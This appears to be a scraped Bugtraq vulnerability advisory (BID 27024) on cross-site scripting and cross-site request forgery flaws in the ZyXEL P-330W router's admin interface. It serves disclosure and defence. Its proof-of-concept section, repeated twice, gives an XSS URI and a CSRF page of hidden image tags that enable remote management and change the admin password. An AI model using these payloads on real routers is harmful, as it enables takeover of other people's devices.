ZyXEL P-330W Multiple Vulnerabilities
BID:27024
Info
ZyXEL P-330W Multiple Vulnerabilities
| Bugtraq ID: | 27024 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-6730 CVE-2007-6729 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 25 2007 12:00AM |
| Updated: | Jul 05 2016 10:00PM |
| Credit: | [email protected] is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
ZyXEL P-330W 0 |
| Not Vulnerable: | |
Discussion
ZyXEL P-330W Multiple Vulnerabilities
ZyXEL P-330W 802.11g Secure Wireless Internet Sharing Router is prone to multiple cross-site scripting vulnerabilities and cross-site request-forgery vulnerabilities because it fails to properly sanitize user-supplied input. These issues affect the device's web-based administrative interface.
An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
The attacker may leverage the cross-site request-forgery issues to perform actions in the context of a device administrator, which can compromise the device.
ZyXEL P-330W 802.11g Secure Wireless Internet Sharing Router is prone to multiple cross-site scripting vulnerabilities and cross-site request-forgery vulnerabilities because it fails to properly sanitize user-supplied input. These issues affect the device's web-based administrative interface.
An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
The attacker may leverage the cross-site request-forgery issues to perform actions in the context of a device administrator, which can compromise the device.
Exploit / POC
ZyXEL P-330W Multiple Vulnerabilities
Attackers can exploit these issues by enticing an unsuspecting user to follow a malicious URI.
The following example URI is available:
http://www.example.com:<router_port>/ping.asp?pingstr=â?><script>alert("M
erry Christams")</script>
The following cross-site request-forgery example was provided:
<html><head><title>Chirstmastime is Here</title></head><body>
<img
src="http://www.example.com:<router_port>/goform/formRmtMgt?webWanAccess
=ON&remoteMgtPort=80
80&pingWANEnabled=&upnpEnabled=&WANPassThru1=&WANPassThru2=&WANPassT
hru3=&
submit-url=%2Fremotemgt.asp" width="0" height="0">
<img
src="http://www.example.com:<router_port>/goform/formPasswordSetup?usern
ame=admin&newpass=santa_pw
&confpass=santa_pw&submit-url=%2Fstatus.asp&save=Save" width="0"
height="0">
</body>
</html>
Attackers can exploit these issues by enticing an unsuspecting user to follow a malicious URI.
The following example URI is available:
http://www.example.com:<router_port>/ping.asp?pingstr=â?><script>alert("M
erry Christams")</script>
The following cross-site request-forgery example was provided:
<html><head><title>Chirstmastime is Here</title></head><body>
<img
src="http://www.example.com:<router_port>/goform/formRmtMgt?webWanAccess
=ON&remoteMgtPort=80
80&pingWANEnabled=&upnpEnabled=&WANPassThru1=&WANPassThru2=&WANPassT
hru3=&
submit-url=%2Fremotemgt.asp" width="0" height="0">
<img
src="http://www.example.com:<router_port>/goform/formPasswordSetup?usern
ame=admin&newpass=santa_pw
&confpass=santa_pw&submit-url=%2Fstatus.asp&save=Save" width="0"
height="0">
</body>
</html>
Solution / Fix
ZyXEL P-330W Multiple Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
ZyXEL P-330W Multiple Vulnerabilities
References:
References:
- ZyXEL P-330W Product Page (ZyXEL)
- Ho Ho H0-Day - ZyXEL P-330W multiple XSS and XSRF vulnerabilities (Santa Clause ([email protected]))